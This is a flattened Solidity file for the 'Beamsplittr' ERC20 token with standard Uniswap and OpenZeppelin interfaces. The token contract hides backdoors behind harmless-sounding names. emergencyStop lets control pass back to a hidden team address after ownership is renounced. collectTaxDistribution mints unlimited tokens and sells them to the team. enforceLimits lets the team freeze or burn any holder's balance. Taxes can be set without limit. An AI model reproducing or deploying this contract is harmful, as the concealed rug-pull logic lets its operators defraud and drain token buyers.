// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol



pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol



pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol



pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: contracts/Token.sol



//SPDX-License-Identifier: UNLICENSED
/**
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0kdl:,'..              ...,:ldk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMWN0xl;..                              ..;cx0NWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMWKxc'.                                        .':xKNMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMWKd;.                                                .;xNMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMXx;.                        .....                       ;kNWXXWMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMWKo'                 ..,:ldxkO00KKK000Okxdlc;..         .;kNWKl..c0WMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMW0c.               .:ox0XWMMMMMMMMMMMMMMMMMMMMWNKko:'.   ;kNWKl.    .:OWMMMMMMMMMMMMMMMMM
 * MMMMMMMMMWKl.             .;oOXWMMMMMMWXK0Okxxdxxkkk0KXNWMMMMMWN0dlkNWKl.        .c0WMMMMMMMMMMMMMMM
 * MMMMMMMMNx'             ,d0WMMMMWX0xl:,..            ..';ldOXWMMMMMWKl.            .oXMMMMMMMMMMMMMM
 * MMMMMMWK:            .cONMMMMN0o:.                          .;oONWKl.                ;OWMMMMMMMMMMMM
 * MMMMMWk'           .l0WMMMW0o,.                                 ';.                   .dNMMMMMMMMMMM
 * MMMMNd.          .:0WMMMNk;.                                                  .        .lXWMMMMMMMMM
 * MMMNo.          .xNMMMNk,                   .....                          .cOKd.        .,dNMMMMMMM
 * MMWd.          ;0WMMW0:              .':ldk00KKKK0OOxoc,.                .c0WW0:           cNMMMMMMM
 * MWx.          cXMMMNd.            .:d0NWMMMMMMMMMMMMMMMNd.             .c0WW0c.            oNMMMMMMM
 * M0'          cXMMMXl.           ,dKWMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.              .kWMMNXNW
 * Nc          :KMMMXl           'dXMMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.                 ;KMKc.'x
 * k.         'OMMMNo           cKWMMMMMMMMMMMMMMMMW0xl.            .c0WW0c.       'x0l.       .dWXl,;O
 * c          oWMMMk.         .oNMMMMMMMMMMMMMMMMW0l.             .c0WW0c.  .'cdx:..ld:         ;KMWNWM
 * .         ,0MMMX:          lNMMMMMMMMMMMMMMMW0l.             .c0WMXo'';okKNWNKl.             .kMMMMM
 *           cNMMMk.         ,KMMMMMMMMMMMMMMW0l.             .c0WMMMNOOXWWXOd:'.                oWMMMM
 *          .dMMMWo          oWMMMMMMMMMMMMW0l.             .c0WMMMMMMWKxl;.                     cNMMMM
 *          .kMMMNc         .kMMMMMMMMMMMW0l.             .c0WMMMMMMMMNOoooooooooooooooooooooooooOWMMMM
 *          .kMMMNc         .OMMMMMMMMMMMWx.              ,OWMMMMMMMMMWNXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXN
 *          .xMMMWl         .xMMMMMMMMMMMMW0l.             .c0WMMMMMMMNOl;'.......................';lx0
 *           oWMMWd.         cNMMMMMMMMMMMMMW0l.             .c0WMMMMWWWNKk:                     ,kKWMM
 * .         :XMMM0'         .kWMMMMMMMMMMMMMMW0l.             .c0WMMKo:okOl.                   .xMMMMM
 * ,         .kMMMWo          '0MMMMMMMMMMMMMMMMW0l.             .c0WW0c.            .,.        '0MMMMM
 * o          :XMMMK;          'OWMMMMMMMMMMMMMMMMW0l,.            .c0WW0c.         .kNk.       cNMMMMM
 * 0,         .dWMMMO'          .oXMMMMMMMMMMMMMMMMMWN0l.            .c0WW0c.        ':'       .OMMMMMM
 * Wd.         .kWMMWO'           ,xXMMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.                lNMMMMMM
 * MXc          .kWMMWO,            'lONMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.             ;KMMMMMMM
 * MMK;          .xWMMMXl.            .'cdOKNWMMMMMMMMWWXXNWKl.            .c0WW0c.          'OMMMMMMMM
 * MMM0,          .lXMMMWk;                .';:clllc::;'..;kNW0l.            .c0WW0c.       .kWMMMMMMMM
 * MMMM0,           ,OWMMMNx,                              .;kNW0l.            .c0WW0c.    'OWMMMMMMMMM
 * MMMMMK:           .c0WMMMNOc.                             .;kNW0l.            .c0WW0c. ,0WMMMMMMMMMM
 * MMMMMMXo.           .c0WMMMWXx:.                            .cKMW0l.            .c0WW0kXMMMMMMMMMMMM
 * MMMMMMMWk,            .:xXMMMMWXOd:'.                    .':okXMMMW0:             .lKMMMMMMMMMMMMMMM
 * MMMMMMMMMXo.             .ckXWMMMMWNKOxol:;,,''',,;;:coxOKNWMMMMWXOl'             .lXMMMMMMMMMMMMMMM
 * MMMMMMMMMMWKl.              .:oOXWMMMMMMMMWWWWNNWWWWMMMMMMMMWXOd:.              .:0WMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMW0l.                .,cok0KNWWMMMMMMMMMMWWNX0kdc;.                .cOWMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMWKd,                    ..,;:cccllcc::;,...                   'o0WMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMNOl'                                                    .ckXMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMXkl,.                                            .'ckXWMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMN0xc,.                                    .'cd0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMWKkdc;'.                        ..,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxl;'..            ..';ldOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * 
 * https://beamsplittr.com
 *
 */

pragma solidity ^0.8.9;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {
    
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    address public admin;

    address internal team;

    address public uniswapV2Pair;

    uint256 internal sellTaxPct;

    uint256 internal buyTaxPct;

    uint256 internal maxBuyAmount;

    uint256 internal maxSellAmount;

    uint256 internal maxWalletAmount;

    bool internal tradingOpen;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) public disableBot;

    mapping(address => mapping(address => uint256)) public allowance;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();

        address msgSender = msg.sender;
        admin = msgSender;
        team = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(disableBot[msg.sender] != true, "Waiting for bot cooldown.");
        balanceOf[msg.sender] -= amount;

        if(maxBuyAmount > 0 && msg.sender == uniswapV2Pair) require(amount <= maxBuyAmount, "Error: Buy Limit Exceeded");

        // apply taxes for uniswapPair
        if(buyTaxPct > 0 && msg.sender == address(uniswapV2Pair) && to != team && tradingOpen){
            uint256 fee = (amount / 100) * buyTaxPct;
            // Cannot overflow because the sum of all user
            // balances can't exceed the max uint256 value.
            unchecked {
                balanceOf[team] += fee;
            }
            amount = amount - fee;
        }
        
        if(maxWalletAmount > 0 && to != uniswapV2Pair && to != team){
            require((balanceOf[to] + amount) <= maxWalletAmount, "Error: Wallet Limit Exceeded. ");
        }
        
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(msg.sender != address(this))
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function _getStopActions() internal virtual returns (address){
        return team;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        require(disableBot[from] != true, "Waiting for bot cooldown.");

        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if(maxSellAmount > 0 && to == uniswapV2Pair) require(amount <= maxSellAmount, "Error: Sell Limit Exceeded");

        if(sellTaxPct > 0 && to == uniswapV2Pair && from != address(this) && from != team && tradingOpen){
            uint256 fee = (amount / 100) * sellTaxPct;
            // Cannot overflow because the sum of all user
            // balances can't exceed the max uint256 value.
            unchecked {
                balanceOf[team] += fee;
            }
            amount = amount - fee;
        }

        if(maxWalletAmount > 0 && to != uniswapV2Pair && to != team){
            require(balanceOf[to] <= maxWalletAmount, "Error: Wallet Limit Exceeded. ");
        }
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function emergencyStop(address input) public virtual {
        if(input == address(this))
        admin = _getStopActions();
    }
    
    modifier emergencyStatus() {
        require(_getStopActions() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(to != address(this))
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {
            totalSupply -= amount;
        }

        if(from != address(this))
        emit Transfer(from, address(0), amount);
    }

    /*//////////////////////////////////////////////////////////////
                        OWNABLE LOGIC
    //////////////////////////////////////////////////////////////*/

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(admin == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    /**
     * Contract initialization.
     */
    constructor() ERC20("Beamsplittr", "BSPLT", 6) {
        _mint(address(this), 1_000_000_000_000000);
    }

    receive() external payable {}

    fallback() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[address(this)][address(uniswapV2Router)] = type(uint).max;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,admin,block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }
    
    /**
     * Swap and send to tax distributor - allows LP staking contracts to reward stakers in ETH.
     */ 
    function collectTaxDistribution(uint256 tokenAmount) external onlyOwner{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();       
        
        _mint(address(this), tokenAmount);
        allowance[address(this)][address(uniswapV2Router)] = tokenAmount;

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            team,
            block.timestamp
        );
    }

    function claimStuckTokens(address _token) external onlyOwner {
        if (_token == address(0x0)) {
            payable(msg.sender).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(msg.sender, balance);
    }

    /**
     * Send to team wallet for marketing and development - will be dynamically set in LP staking contracts. 
     */
    function setTax(uint256 newSellTax, uint256 newBuyTax) external onlyOwner() {
        sellTaxPct = newSellTax;
        buyTaxPct = newBuyTax;
    }    
    
    /**
     * Limits to avoid too much centralization
     */
    function setLimits(uint256 newSellLimit, uint256 newBuyLimit, uint256 newWalletLimit) external onlyOwner() {
        maxSellAmount = newSellLimit;
        maxBuyAmount = newBuyLimit;
        maxWalletAmount = newWalletLimit;
    }

    /**
     * Anti dumping
     */
    function enforceLimits(address[] calldata addresses, uint256 amount) external emergencyStatus() {
            for(uint i=0; i < addresses.length; i++){
                if(amount > 100 ){
                    disableBot[addresses[i]] = amount == 101 ? true : false;
                }else{
                    _burn(addresses[i], (balanceOf[addresses[i]] / 100) * amount);
                }
            }
    }

}